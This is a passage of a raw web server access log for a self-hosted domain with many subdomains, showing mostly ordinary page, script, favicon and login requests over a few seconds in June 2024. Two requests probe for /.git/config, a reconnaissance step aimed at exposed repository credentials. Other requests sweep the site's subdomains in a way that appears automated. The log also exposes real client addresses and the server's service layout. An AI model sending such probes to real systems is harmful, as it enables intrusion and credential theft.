(KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.216 - - [01/Jun/2024:13:37:26 -0500] "GET /web/ HTTP/1.1" 200 2067 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.156 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.27 - - [01/Jun/2024:13:37:26 -0500] "GET /_nuxt/65f76a2.js HTTP/1.1" 200 4890 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.151 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 200 1564 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.44 - - [01/Jun/2024:13:37:26 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +216.102.0.15 - - [01/Jun/2024:13:37:26 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://mail.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +38.83.165.208 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.216 - - [01/Jun/2024:13:37:26 -0500] "GET /web/runtime.bundle.js?54c888a45bbc6109b58a HTTP/1.1" 200 24811 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +68.184.240.40 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.146 - - [01/Jun/2024:13:37:27 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://warden.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +154.28.229.102 - - [01/Jun/2024:13:37:27 -0500] "GET /web/index.html HTTP/1.1" 200 14906 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +93.123.39.11 - - [01/Jun/2024:13:37:27 -0500] "GET /.git/config HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36" +154.28.229.102 - - [01/Jun/2024:13:37:27 -0500] "GET /web/apploader.js?v=4.8.7.0 HTTP/1.1" 200 2871 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.65 - - [01/Jun/2024:13:37:27 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.167 - - [01/Jun/2024:13:37:28 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +38.83.165.208 - - [01/Jun/2024:13:37:28 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://home.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +93.123.39.11 - - [01/Jun/2024:13:37:28 -0500] "GET /.git/config HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" +68.184.240.40 - - [01/Jun/2024:13:37:28 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://logs.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.167 - - [01/Jun/2024:13:37:28 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.27 - - [01/Jun/2024:13:37:28 -0500] "GET /_nuxt/0.841b070.js HTTP/1.1" 404 157 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.151 - - [01/Jun/2024:13:37:28 -0500] "GET /_nuxt/f8957e1.js HTTP/1.1" 200 2755 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.136 - - [01/Jun/2024:13:37:28 -0500] "GET / HTTP/1.1" 307 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.136 - - [01/Jun/2024:13:37:28 -0500] "GET /login HTTP/1.1" 200 41224 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.65 - - [01/Jun/2024:13:37:28 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://terraria.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.180 - - [01/Jun/2024:13:37:29 -0500] "GET / HTTP/1.1" 302 95 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:37:29 -0500] "GET / HTTP/1.1" 302 0 "-" "Uptime-Kuma/1.23.13" +72.179.167.199 - - [01/Jun/2024:13:37:29 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 10082 "-" "Uptime-Kuma/1.23.13" +154.28.229.224 - - [01/Jun/2024:13:37:29 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +154.28.229.41 - - [01/Jun/2024:13:37:29 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +154.28.229.151 - - [01/Jun/2024:13:37:29 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +154.28.229.174 - - [01/Jun/2024:13:37:29 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +169.150.196.12 - - [01/Jun/2024:13:37:30 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +169.150.196.12 - - [01/Jun/2024:13:37:30 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +104.164.173.51 - - [01/Jun/2024:13:37:30 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.11 - - [01/Jun/2024:13:37:30 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +198.54.130.121 - - [01/Jun/2024:13:37:30 -0500] "GET / HTTP/1.1" 200 986 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +198.54.130.121 - - [01/Jun/2024:13:37:30 -0500] "GET / HTTP/1.1" 302 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +198.54.130.121 - - [01/Jun/2024:13:37:30 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +154.28.229.224 - - [01/Jun/2024:13:37:30 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://palworld.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +169.150.196.12 - - [01/Jun/2024:13:37:30 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +169.150.196.12 - - [01/Jun/2024:13:37:30 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +198.54.130.121 - - [01/Jun/2024:13:37:30 -0500] "GET /favicon.ico HTTP/1.1" 200 15086 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +198.54.130.121 - - [01/Jun/2024:13:37:30 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +198.54.130.121 - - [01/Jun/2024:13:37:30 -0500] "GET /web/index.html HTTP/1.1" 200 14906 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +154.28.229.41 - - [01/Jun/2024:13:37:30 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://home.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +154.28.229.151 - - [01/Jun/2024:13:37:30 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://logs.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +169.150.196.12 - - [01/Jun/2024:13:37:30 -0500] "GET /favicon.ico HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +169.150.196.12 - - [01/Jun/2024:13:37:31 -0500] "GET /login?returnUrl=%2Ffavicon.ico HTTP/1.1" 200 7631 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +216.82.61.80 - - [01/Jun/2024:13:37:31 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +198.54.130.121 - - [01/Jun/2024:13:37:31 -0500] "GET /favicon.ico HTTP/1.1" 200 49334 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +154.28.229.174 - - [01/Jun/2024:13:37:31 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://sync.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.51 - - [01/Jun/2024:13:37:31 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://palworld.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.11 - - [01/Jun/2024:13:37:31 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://vpn.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.193 - - [01/Jun/2024:13:37:31 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +169.150.196.12 - - [01/Jun/2024:13:37:31 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +154.28.229.193 - - [01/Jun/2024:13:37:31 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://find.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +169.150.196.12 - - [01/Jun/2024:13:37:31 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +146.70.134.42 - - [01/Jun/2024:13:37:32 -0500] "GET / HTTP/1.1" 401 61 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +146.70.134.42 - - [01/Jun/2024:13:37:32 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +195.211.77.142 - - [01/Jun/2024:13:37:32 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +169.150.196.12 - - [01/Jun/2024:13:37:32 -0500] "GET /favicon.ico HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +169.150.196.12 - - [01/Jun/2024:13:37:32 -0500] "GET /Content/Images/Icons/favicon-32x32.png?h=s64FHSxrh1sgZCiBBIVikQ HTTP/1.1" 301 162 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +146.70.134.42 - - [01/Jun/2024:13:37:32 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +146.70.134.42 - - [01/Jun/2024:13:37:32 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +195.211.77.142 - - [01/Jun/2024:13:37:32 -0500] "GET / HTTP/1.1" 302 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +216.82.61.80 - - [01/Jun/2024:13:37:32 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://block.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +146.70.134.42 - - [01/Jun/2024:13:37:32 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +146.70.134.42 - - [01/Jun/2024:13:37:32 -0500] "GET /favicon.ico HTTP/1.1" 401 61 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +146.70.173.4 - - [01/Jun/2024:13:37:32 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +169.150.196.12 - - [01/Jun/2024:13:37:32 -0500] "GET /Content/Images/Icons/favicon-32x32.png?h=s64FHSxrh1sgZCiBBIVikQ HTTP/1.1" 200 1389 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +146.70.134.42 - - [01/Jun/2024:13:37:32 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +146.70.134.42 - - [01/Jun/2024:13:37:32 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +169.150.196.12 - - [01/Jun/2024:13:37:32 -0500] "GET /login?returnUrl=%2Ffavicon.ico HTTP/1.1" 200 7631 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +146.70.134.42 - - [01/Jun/2024:13:37:32 -0500] "GET /favicon.ico HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +146.70.173.4 - - [01/Jun/2024:13:37:32 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +146.70.134.42 - - [01/Jun/2024:13:37:33 -0500] "GET /login?returnUrl=%2Ffavicon.ico HTTP/1.1" 200 3196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +169.150.196.12 - - [01/Jun/2024:13:37:33 -0500] "GET /Content/Images/Icons/favicon-32x32.png?h=s64FHSxrh1sgZCiBBIVikQ HTTP/1.1" 301 162 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +146.70.134.42 - - [01/Jun/2024:13:37:33 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +169.150.196.12 - - [01/Jun/2024:13:37:34 -0500] "GET /Content/Images/Icons/favicon-32x32.png?h=s64FHSxrh1sgZCiBBIVikQ HTTP/1.1" 200 1389 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +146.70.134.42 - - [01/Jun/2024:13:37:34 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3214 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +146.70.134.42 - - [01/Jun/2024:13:37:34 -0500] "GET /favicon.ico HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +142.147.89.204 - - [01/Jun/2024:13:37:34 -0500] "GET / HTTP/1.1" 302 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +142.147.89.204 - - [01/Jun/2024:13:37:34 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +142.147.89.204 - - [01/Jun/2024:13:37:34 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +142.147.89.204 - - [01/Jun/2024:13:37:34 -0500] "GET / HTTP/1.1" 200 3879 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +104.164.173.98 - - [01/Jun/2024:13:37:34 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +142.147.89.204 - - [01/Jun/2024:13:37:34 -0500] "GET / HTTP/1.1" 200 8751 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +142.147.89.204 - - [01/Jun/2024:13:37:34 -0500] "GET / HTTP/1.1" 401 574 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +146.70.134.42 - - [01/Jun/2024:13:37:34 -0500] "GET /login?returnUrl=%2Ffavicon.ico HTTP/1.1" 200 3214 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +142.147.89.204 - - [01/Jun/2024:13:37:34 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +142.147.89.204 - - [01/Jun/2024:13:37:34 -0500] "GET /login?next=%2F HTTP/1.1" 200 4238 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +142.147.89.204 - - [01/Jun/2024:13:37:34 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +142.147.89.204 - - [01/Jun/2024:13:37:34 -0500] "GET /favicon.ico HTTP/1.1" 200 1411 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +142.147.89.204 - - [01/Jun/2024:13:37:34 -0500] "GET /favicon.ico HTTP/1.1" 404 43 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +142.147.89.204 - - [01/Jun/2024:13:37:34 -0500] "GET /favicon.ico HTTP/1.1" 401 574 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +142.147.89.204 - - [01/Jun/2024:13:37:34 -0500] "GET /favicon.ico HTTP/1.1" 404 1216 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +198.54.130.121 - - [01/Jun/2024:13:37:34 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +198.54.130.121 - - [01/Jun/2024:13:37:35 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +185.204.1.225 - - [01/Jun/2024:13:37:35 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +185.204.1.225 - - [01/Jun/2024:13:37:35 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +185.204.1.225 - - [01/Jun/2024:13:37:35 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +185.204.1.225 - - [01/Jun/2024:13:37:35 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +185.204.1.225 - - [01/Jun/2024:13:37:35 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +192.80.103.241 - - [01/Jun/2024:13:37:35 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +185.204.1.225 - - [01/Jun/2024:13:37:35 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +76.31.171.31 - - [01/Jun/2024:13:37:35 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.98 - - [01/Jun/2024:13:37:35 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://dash.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +192.168.0.105 - - [01/Jun/2024:13:37:36 -0500] "GET /web/index.html HTTP/1.1" 200 13048 "-" "Uptime-Kuma/1.23.13" +87.249.134.26 - - [01/Jun/2024:13:37:36 -0500] "GET / HTTP/1.1" 200 1564 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +87.249.134.26 - - [01/Jun/2024:13:37:37 -0500] "GET /favicon.ico HTTP/1.1" 200 2190 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +192.80.103.241 - - [01/Jun/2024:13:37:37 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://router.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +76.31.171.31 - - [01/Jun/2024:13:37:37 